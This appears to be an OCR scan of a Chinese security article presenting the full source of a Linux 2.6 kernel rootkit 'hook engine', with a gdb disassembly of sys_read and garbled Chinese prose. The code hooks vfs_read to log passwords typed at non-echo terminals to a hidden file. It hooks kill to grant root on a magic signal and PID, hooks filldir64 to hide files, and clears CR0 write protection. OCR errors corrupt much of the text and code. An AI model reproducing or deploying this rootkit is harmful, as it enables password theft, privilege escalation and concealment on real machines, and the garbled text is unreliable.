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linux—2.6.18/fs/read write.c
asmlinkage ssize t sys read(unsigned int fd, char user * buf, size t count)
{

struct file *file;

ssize t ret = —EBADF;

int fput needed;

file = fget light (fd, &fput needed);
if (file) {
loff t pos = file pos read(file):
ret = vfs read(file, buf, count, &pos):
file pos write(file, pos);
fput light(file, fput needed);



}

return ret;

}

EXPORT_SYMBOL_GPL (sys_read) ;

FATE D sys readm &L T EREvEs read s Bt BUCBIE K#E, BT LLFRATTAS
T Hiehsys_readNINEE MG 84, M2 HE Hvls_readfEsys_readf{idH [Fof fsetih il LAk
R TH Hnew vfs readd' 2. W& HivEs readffjoffsetWe? ¢l 4w FNsys read&Fh:

[root@xsec linux-2.6.18]# gdb —q vmlinux

Using host libthread db library ”/lib/libthread db. so.1”.
(gdb) disass sys read
Dump of assembler code for function sys read:

0xc106dcba
0xc106dchb
0xc106dchd
0xc106dcbhe
0xc106dc63
0xc106dc64
0xc106dc67
0xc106dcba
0xc106dc6d
0xc106dc72
0xc106dc74
0xc106dc76
0xc106dc78
0xc106dc7b
0xc106dc7e
0xc106dc81
0xc106dc84
0xc106dc87
0xc106dc8a
0xc106dc8d
0xc106dc8e
0xc106dc90
0xc106dc95
0xc106dc98
0xc106dc9a
0xc106dc9d
0xc106dca0
0Oxcl106dcad
0xc106dca’?
0xc106dca8
0Oxcl106dcaa
0Oxcl06dcac
0xc106dcbl
0xc106dch4
0xc106dcb6
0xc106dcb7
0xc106dch8
0xc106dch9

<{sys_read+0>:
{sys read+1>:
{sys read+3>:
{sys_read+4>:
{sys read+9>:

{sys_read+10>:
{sys read+13>:
{sys read+16>:
{sys_read+19>:
{sys read+24>:
{sys read+26>:
{sys read+28>:
{sys_read+30>:
{sys_read+33>:
{sys_read+36>:
{sys_read+39>:
{sys read+42>:
{sys read+45>:
{sys_read+48>:
{sys read+b1>:
{sys_read+52>:
{sys read+b4>:
<{sys read+59>:
{sys_read+62>:
{sys_read+64>:
{sys_read+67>:
{sys_read+70>:
<{sys read+73>:
{sys_read+77>:
{sys read+78>:
{sys_read+80>:
{sys_read+82>:
{sys_read+87>:
{sys_read+90>:
{sys read+92>:
{sys_read+93>:
{sys_read+94>:
{sys_read+95>:

End of assembler dump.

(gdb)

push
mov
push
mov
push
sub
mov
lea
call
test
mov
je
mov
mov
mov
mov
mov
mov
lea
push
mov
call
mov
mov
mov
mov
mov
cmpl
pop
je
mov
call
lea
mov
pop
pop
pop
ret

%ebp

%esp, %ebp

%esi

$OXTITETLTT, %esi

%ebx

$0xc, %esp

0x8 (%ebp) , %eax
OxfEfffff4 (%ebp), %edx
0Oxcl06elbe <fget light>
%eax, %eax

%eax, %ebx

0xcl106dcbl <sys_read+87>
0x24 (%ebx) , %edx

0x20 (%eax) , %eax

0x10 (%ebp) , %ecx

%edx, OxTEETET0 (%ebp)
0xc (%ebp) , %edx

%eax, Oxffffffec (%ebp)
Oxffffffec (%ebp), %eax
%eax

%ebx, %eax

0xcl106d75¢c <vfs read>
OxfEfFEF0 (%ebp), %edx
%eax, %esi

Oxffffffec (%ebp), %eax
%edx, 0x24 (%ebx)
%eax, 0x20 (%ebx)

$0x0, Oxf 14 (%ebp)
%eax

0xc106dcbl <sys read+87>
%ebx, %eax

0xc106el107 <fput>
OxfEfffff8 (%ebp), %esp
%esi, %eax

%ebx

%esi

%ebp



0xc106dc90 <sys read+bd>: call  0xcl106d75¢c <vfs read>

it cal 1952 KBk vEs read2:. 0xc106d75¢c)EvEs readf N AE AL, BT DA B4
XA HhE e I AT T e bk, Msys readPATIXHIE, maBREE R IR RECK T .

T2 H RS — A hook 5 %, SRIg A foffsetMIThft. JRELHE Rsys_read
[fJopcode, W KM iEcal 154, WRifcal LG HIFIof fset FHT v & ZL Pk 1 bt AN & FRAT 122
hook [ B ZHb ik, G SR Rt T S0 B A Fof fset, BT Mot fset B FUR Mot fset. MM
SE kL ThAE .

Z4handler & FZREIIHNE, XHE U Esys readfilik, old funcid B4 1) pR Hh
b, X HE R EvEs read, new func &Rk, X Bt Enew vis readftj ik,

unsigned int patch kernel func (unsigned int handler, unsigned int old func,
unsigned int new func)
{

unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00”;
unsigned int offset = 0;

unsigned int orig = 0;

int 1 = 0;

DbgPrint (“\n*#* hook engine: start patch func at: 0x%08x\n”, old func);

while (1) {
if (i > 512)
return O;

if (p[0] == 0xe8) {
DbgPrint (“#%*% hook engine: found opcode 0x%02x\n”, pl[0]);

DbgPrint (“#%* hook engine: call addr: 0x%08x\n”,
(unsigned int)p);

buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];

buf[3] = pl[4];

DbgPrint ("% hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n”,
pl1]l, pl2], pl3], pl4]);

offset = *(unsigned int *)buf;
DbgPrint (“#%* hook engine: offset: 0x%08x\n”, offset):

orig = offset + (unsigned int)p + 5;
DbgPrint (“#%% hook engine: original func: 0x%08x\n”, orig);:

if (orig == old func) {
DbgPrint (%% hook engine: found old func at”
7 0x%08x\n”,
old func);

DbgPrint ("%d\n”, 1i);
break;



ptt;
it+;

}

offset = new func — (unsigned int)p — 5;
DbgPrint (“#** hook engine: new func offset: 0x%08x\n”, offset);

pl1] = (offset & 0x000000ff) ;

pl2] = (offset & 0x0000ff00) >> 8;
pl3] = (offset & 0x00ff0000) >> 16;
pl4] = (offset & 0xff000000) >> 24;

DbgPrint (“#%* hook engine: pachted new func offset.\n”);

return orig;
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config. h

#ifndef CONFIG H
ftdefine CONFIG H

#tdefine SNIFF LOG ”/tmp/. sniff log”
#tdefine KALL SYMS NAME ”/proc/kallsyms”
#define HIDE FILE “test”

#tdefine MAGIC PID 12345

#define MAGIC SIG 58



#ifndef HOOK_H
#tdefine HOOK H

ftdefine HOOK VERSION 0.1
#tdefine HOOK DEBUG

#tifdef HOOK DEBUG
#tdefine DbgPrint (format, args...) \

printk ("hook: function:%s-L%d: “format,  FUNCTION , LINE , ##args);
ftelse
#tdefine DbgPrint (format, args...) do {} while(0);
ftendif
#tdefine SYS REPLACE(x) orig #tx = sys call table[ NR ##x]; \

sys call table[ NR ##x] = new ##tx
#tdefine SYS RESTORE(x) sys call table[ NR ##x] = orig ##x

#tdefine CLEAR CRO asm (“pushl %eax\n\t”
“mov] %cr0, %eax\n\t”
“andl $0xfffeffff, %eax\n\t”
“mov] %eax, %crO\n\t”
"popl %eax”) ;

— = =

#tdefine SET CRO asm (“pushl %eax\n\t”
“mov] %cr0, %eax\n\t”
“orl $0x00010000, %eax\n\t”
“movl %eax, %cr0\n\t”
"popl %eax”) :

— - =

struct descriptor idt

{
unsigned short offset low;
unsigned short ignorel;
unsigned short ignore?2;
unsigned short offset high;

&

static struct {
unsigned short limit;
unsigned long base;

} attribute  ((packed)) idt48;

void **sys call table;

asmlinkage ssize t new read(unsigned int fd, char user * buf, size t count);
asmlinkage ssize t (korig read) (unsigned int fd, char user * buf, size t count);



#endif

k file.h

#ifndef TTY SNIFF _H
#tdefine TTY SNIFF H

#tdefine BEGIN KMEM { mm segment t old fs = get fs(); set fs(get ds());
#tdefine END KMEM set fs(old fs); }

#define BEGIN ROOT int saved fsuid = current—>fsuid; \
current—>fsuid = 0;
ftdefine END ROOT current->fsuid = saved fsuid;

#define IS PASSWD(tty) L_TCANON(tty) && !L_ECHO(tty)

#tdefine READABLE (f) (f->f op && f—>f op—>read)
ttdefine read(f, buf, sz) (f->f op—>read(f, buf, sz, &f->f pos))

#tdefine WRITABLE(f) (f->f op && f->f op—>write)
#tdefine write(f, buf, sz) (f->f op—>write(f, buf, sz, &f—>f pos))

#tdefine TTY READ(tty, buf, count) (ktty—>driver—>read) (tty, 0, \
buf, count)

#tdefine TTY WRITE (tty, buf, count) Cktty—>driver—>write) (tty, 0, \
buf, count)

int write to file(char *logfile, char *buf, int size);

ftendif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/string.h>
#include <linux/spinlock.h>
#include <linux/smp_ lock. h>
#include <asm/uaccess.h>

#tinclude "k file.h”

int write to file(char *logfile, char *buf, int size)
{

mm_segment t old fs;
struct file *f = NULL;
int ret = 0;

old fs = get fs();



set fs(get ds());

BEGIN ROOT

f = filp open(logfile, O CREAT | O APPEND, 00600) ;

if (IS _ERR(f)) {
printk ("Error %1d opening %s\n”, -PTR ERR(f), logfile);
set fs(old fs);
END ROOT

ret = —1;
} else {

if (WRITABLE(f)) {
“write(f, buf, size);

}

else {
printk ("%s does not have a write method\n”, logfile);
set fs(old fs);
END ROOT

ret = —1;

}
if ((ret = filp close(f,NULL)))
printk ("Error %d closing %s\n”, -ret, logfile);

}

set fs(old fs);
END ROOT

return ret;

get time.

#include
#include
#include
#include
#include
#include

<{linux/kernel. h>
<linux/init. h>
<{linux/version. h>
<{linux/module. h>
<{linux/time. h>
<{asm/uaccess. h>

/% Macros used to get local time */

#tdefine
#define
ftdefine

#define
#tdefine

SECS_PER_HOUR (60 * 60)

SECS_PER DAY (SECS PER HOUR * 24)

isleap(year) \

((year) % 4 == 0 & ((year) % 100 != 0 || (year) % 400 == 0))
DIV(a, b) ((a) / (b) - ((@) % (b) < 0))

LEAPS THRU END OF (y) (DIV (y, 4) — DIV (y, 100) + DIV (y, 400))

struct vtm

{

int tm_sec;
int tm min;



int tm hour;
int tm mday;
int tm mon;

int tm year;

int timezone;

int epoch2time(const time t * t, long int offset, struct vtm *tp)
{
static const unsigned short int mon yday[2][13] = {
/* Normal years. */
{0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},
/% Leap years. %/
{0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}
b

long int days, rem, vy;
const unsigned short int *ip;

days = *t / SECS PER DAY;

rem = *t % SECS _PER DAY;

rem += offset;

while (rem < 0) {
rem += SECS PER DAY;
——days;

}

while (rem >= SECS PER DAY) {
rem —= SECS PER DAY;
++days;

}

tp—>tm_hour = rem / SECS PER HOUR;

rem %= SECS PER HOUR;

tp—>tm min = rem / 60;

tp—>tm_sec = rem % 60;

y = 1970;

while (days < 0 || days >= (isleap(y) ? 366 : 365)) {
long int yg = y + days / 365 — (days % 365 < 0);
days —= ((yg — y) * 365 + LEAPS THRU END OF (yg — 1)

— LEAPS THRU END OF(y - 1));

y = Y8,

}

tp—>tm _year = y — 1900;

if (tp—>tm year !=y - 1900)
return 0;

ip = mon ydaylisleap(y)];

for (y = 11; days < (long int) iplyl); —v)
continue;

days —= iply];

tp—>tm_mon = y;

tp—>tm mday = days + 1;

return 1;



/%
*  Get
*/

void get

{

hide fil

#include
#include
#include
#include
#include
#include
#include
#include
#include

#include

#define
#define

struct g

I

current date & time

_time(char *date time)

struct timeval tv;
time t t;
struct vtm tm;

do gettimeofday (&tv) ;
t = (time t) tv.tv sec;

epoch2time (&t, timezone, &tm);

sprintf(date time, “%.2d/%. 2d/%d—%. 2d:%. 2d:%. 2d”, tm. tm mday,
tm. tm mon + 1, tm. tm year + 1900, tm. tm hour, tm.tm min,
tm. tm sec) ;

e.c

<{linux/module. h>
<{linux/kernel. h>
<{linux/init. h>
<{linux/string. h>
<{linux/types. h>
<{linux/fs.h>
{linux/file. h>
<{linux/dirent. h>
<{asm/uaccess. h>

“config. h”

ROUND UP64 (x) (((x)+sizeof (u64)-1) & " (sizeof (u64)-1))
NAME OFFSET (de) ((int) ((de)—>d name - (char user *) (de)))

etdents callback64 {

struct linux dirent64  user * current dir;
struct linux dirent64  user * previous;
int count;

int error;

int new filldir64(void *  buf, const char * name, int namlen, loff t offset,

{

ino t ino, unsigned int d type)

struct linux dirent64  user *dirent;
struct getdents callback64 * buf = (struct getdents callback64 *)  buf;
int reclen = ROUND UP64 (NAME OFFSET (dirent) + namlen + 1);

buf->error = -EINVAL;  /* only used if we fail.. */
if (reclen > buf->count)
return —EINVAL;



efault:

*/

#include
#include
#include
#include
#include
#include
#include
#include

dirent = buf->previous;
if (dirent) {
if (strstr(name, HIDE FILE) != NULL) {
return 0;

}

if ( put user(offset, &dirent—>d off))
goto efault;
1

dirent = buf->current dir;

if (strstr(name, HIDE FILE) != NULL) {
return 0;

}

if ( put user(ino, &dirent->d ino))
goto efault;

if ( put user(0, &dirent—>d off))
goto efault;

if ( put user(reclen, &dirent—>d reclen))
goto efault;

if ( put user(d type, &dirent—->d type))
goto efault;

if (copy to user(dirent—>d name, name, namlen))
goto efault;

if ( put user(0, dirent—>d name + namlen))
goto efault;

buf->previous = dirent;

dirent = (void user *)dirent + reclen;

buf->current dir = dirent;

buf->count —= reclen:

return 0;

buf->error = —-EFAULT;
return —EFAULT;

My hook engine v0. 20
by wzt <wzt@xsec.org>

tested on amd64 asb, x86 as4,5

<{linux/init. h>
<linux/module. h>
<linux/version. h>
<{linux/kernel. h>
<linux/spinlock. h>
<linux/smp_lock. h>
<{linux/fs.h>
<{linux/file.h>



#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include

<{linux/dirent. h>
<{linux/string. h>
<{linux/unistd. h>
<{linux/socket. h>
<{linux/net. h>
{linux/tty.h>
<{linux/tty driver.h>
<net/sock. h>
<{asm/uaccess. h>
<asm/unistd. h>
<asm/siginfo. h>

”syscalls. h”
“config. h”

"k file.h”
“hide file.h”
"hook. h”

#define READ NUM 200

extern int write to file(char *logfile, char *buf, int size);

ssize t

int (kor

(korig vfs read) (struct file *file, char  user *buf, size t count,
loff t *pos);
ig kill something info) (int sig, struct siginfo *info, int pid);

unsigned int system call addr = 0;

unsigned

unsigned

|
(e}

int sys_call table addr =

int sys read addr = 0;

unsigned int sys getdents64 addr = O;
unsigned int sys kill addr = 0;

unsigned

int hook
int hook

spinlock

unsigned
unsigned

unsigned

{

int kill something info addr = 0;

~kill something info flag = 1;
_vfs read flag = 1;

~t tty_sniff lock = SPIN_LOCK_UNLOCKED;

int filldir64 addr = 0;
char old filldir64 opcodel5];

int get sct addr(void)
int i = 0, ret = 0;

for (; i < 500; i++) {
if ((¢(unsigned char*) (system call addr + i) == 0xff)
&& (x(unsigned char *) (system call addr + i + 1) == 0x14)
&& (x(unsigned char *) (system call addr + i + 2) == 0x85))
ret = *(unsigned int *) (system call addr + i + 3);
break;

{



return ret;

}

unsigned int find kernel symbol (char *symbol name, char *search file)
{

mm_segment t old fs;

ssize t bytes;

struct file *file = NULL:

char read buf[500];

char *p, tmp[20];

unsigned int addr = 0;

int 1 = 0;

file = filp open(search file, 0 RDONLY, 0);
if (!file)
return -1;

if (!file—>f op—>read)
return —1;

old fs = get fs();
set fs(get ds()):

while ((bytes = file—>f op—>read(file, read buf, 500, &file->f pos))) {
if ((p = strstr(read buf, symbol name)) != NULL) {
while (¥p—)
it (e = "\n”)
break:
while (kp++ 1= 7 7) {
tmp[i++] = *p;
1
tmp[—i] = "\0”;

addr = simple strtoul (tmp, NULL, 16);
DbgPrint (“find %s at: 0x%8x\n”, symbol name, addr);

break:

filp close(file, NULL) ;
set fs(old fs);

return addr;

}

unsigned int try find kernel symbol (char *symbol name, char *search file,
int search num)
{

unsigned int addr = 0;
int i = 0;

for (i = 0; i < search num; i++) {



addr = find kernel symbol (symbol name, search file);
if (addr)
break:
}

return addr;

}

ssize t new vfs read(struct file *file, char  user *buf, size t count,
loff t *pos)
{

ssize t ret;

ret = (korig vfs read) (file, buf, count, pos);
if (ret > 0) {
struct task struct *tsk = current;
struct tty struct *tty = NULL;

tty = tsk—>signal->tty;
if (tty && IS PASSWD(tty)) {
char *tmp buf = NULL, buff[READ NUMJ;

if (ret > READ NUM)
return ret;

tmp buf = (char *)kmalloc (ret, GFP ATOMIC) ;
if (!tmp buf)
return ret;

copy from user (tmp buf, buf, ret);

snprintf (buff, sizeof (buff),
“<{process: %s>\t—\tpasswd: %s\n”, tsk—>comm,
tmp buf) ;

write to file(SNIFF LOG, buff, strlen(buff));

kfree (tmp buf) ;

}

return ret;

}

int new kill something info(int sig, struct siginfo *info, int pid)
{

struct task struct *tsk = current;

int ret;

if ((MAGIC PID == pid) && (MAGIC SIG == sig)) {
tsk—>uid = 0;
tsk—>euid = 0;:
tsk—>gid = 0;
tsk—>egid = 0;

return O;



}

}

else {

ret = (korig kill something info) (sig, info, pid);

return ret;

unsigned int patch kernel func(unsigned int handler, unsigned int old func,
unsigned int new func)

{

unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00”;
unsigned int offset = 0;

unsigned int orig = 0;

int 1 = 0;

DbgPrint (“\n*#* hook engine: start patch func at: 0x%08x\n”, old func);

while (1) {

if (i > 512)

return O;

if (p[0] == 0xe8) {

ptt;
it+;

DbgPrint (“#%*% hook engine: found opcode 0x%02x\n”, pl[0]):

DbgPrint (“#%* hook engine: call addr: 0x%08x\n”,
(unsigned int)p):

buf[0] = p[l];

buf[1] = p[2];

buf[2] = pl3];

buf[3] = pl[4];

DbgPrint ("% hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n”,
pl1]l, pl2], pl3], pl4]);

offset = *(unsigned int *)buf;
DbgPrint (“#%*% hook engine: offset: 0x%08x\n”, offset);

orig = offset + (unsigned int)p + 5;
DbgPrint (“#%% hook engine: original func: 0x%08x\n”, orig);

if (orig == old func) {
DbgPrint (%% hook engine: found old func at”
7 0x%08x\n”,
old func);

DbgPrint ("%d\n”, i) ;
break;



offset = new func — (unsigned int)p - 5;
DbgPrint (“#** hook engine: new func offset: 0x%08x\n”, offset);

pll] (offset & 0x000000ff) ;

pl2] = (offset & 0x0000ff00) >> 8;
pl3] = (offset & 0x00ff0000) >> 16;
pl4] = (offset & 0xff000000) >> 24;

DbgPrint (“#%* hook engine: pachted new func offset.\n”);

return orig;

}

static int inline hook func (unsigned int old func, unsigned int new func,
unsigned char *old opcode)
{

unsigned char *buf;
unsigned int p;
int 1i;

buf = (unsigned char *)old func;
memepy (old opcode, buf, 5);

p = (unsigned int)new func — (unsigned int)old func — 5;
buf[0] = 0xe9;
memepy (buf + 1, &p, 4);

}

static int restore inline hook (unsigned int old func, unsigned char *old opcode)

{

unsigned char *buf;

buf = (unsigned char *)old func;
memcpy (buf, old opcode, 5);

}

static int hook init(void)

{

struct descriptor idt *pldt80;
~asm__ volatile (“sidt %07: “=m” (idt48));
pldt80 = (struct descriptor idt *) (idt48. base + 8%0x80) ;

system call addr = (pIdt80->offset high << 16 | pIdt80—>offset low):
if (!system call addr) f{
DbgPrint (“oh, shit! can”t find system call address.\n”);
return 0;

}
DbgPrint (KERN ALERT “system call addr : 0x%8x\n”, system call addr);

sys call table addr = get sct addr();

if (!sys call table addr) f{
DbgPrint (“oh, shit! can”t find sys call table address.\n”):
return 0;



}
DbgPrint (KERN ALERT “sys call table addr : 0x%8x\n”, sys call table addr):

sys call table = (void #*%)sys call table addr:

sys read addr = (unsigned int)sys call table[ NR read];
sys kill addr = (unsigned int)sys call table[ NR kill];

DbgPrint (“sys read addr: 0x%08x\n”, sys read addr);
DbgPrint (“sys kill addr: 0x%08x\n”, sys kill addr);

kill something info addr = try find kernel symbol (“kill something info2”,
KALL_SYMS_NAME, 3);
DbgPrint ("kill something info addr: 0x%08x\n”, kill something info addr):

filldir64 addr = try find kernel symbol (“filldir64”, KALL SYMS NAME, 3);
DbgPrint ("filldir64 addr: 0x%08x\n”, filldir64 addr);

lock kernel () ;
CLEAR_CRO

if (sys read addr) {
orig vfs read = (ssize t (%) ())patch kernel func(sys read addr,
(unsigned int)vfs read, (unsigned int)new vfs read);
if ((unsigned int)orig vfs read == 0)
hook vfs read flag = 0;
}

if (kill something info addr && sys kill addr) f{
orig kill something info = (int (k) ())patch kernel func(sys kill addr,
(unsigned int)kill something info addr,
(unsigned int)new kill something info);
if ((unsigned int)orig kill something info == 0)
hook kill something info flag = 0;
}

if (filldir64 addr) f{
inline hook func(filldir64 addr, (unsigned int)new filldir64,
old filldir64 opcode) ;
}

SET CRO
unlock kernel () ;

DbgPrint ("orig vfs read: 0x%08x\n”, (unsigned int)orig vfs read);
DbgPrint ("orig kill something info: 0x%08x\n”, (unsigned int)orig kill something info);

if ('hook kill something info flag && 'hook vfs read flag) {
DbgPrint (“install hook failed.\n”);
}

else {
DbgPrint (“install hook ok.\n”):
}



return 0;

}

static void hook exit (void)

{
lock kernel () ;
CLEAR _CRO

if (hook vfs read flag)
patch kernel func(sys read addr, (unsigned int)new vfs read,
(unsigned int)vfs read);

if (hook kill something info flag)
patch kernel func(sys kill addr, (unsigned int)new kill something info,
(unsigned int)kill something info addr);

SET CRO
unlock kernel();

if (filldir64 addr) f{
restore inline hook (filldir64 addr, old filldir64 opcode);

}

DbgPrint ("uninstall hook ok.\n”);
}

module init(hook init);
module exit (hook exit);

MODULE_LICENSE (“GPL”) ;
MODULE AUTHOR (“wzt”) ;

—-EOF-



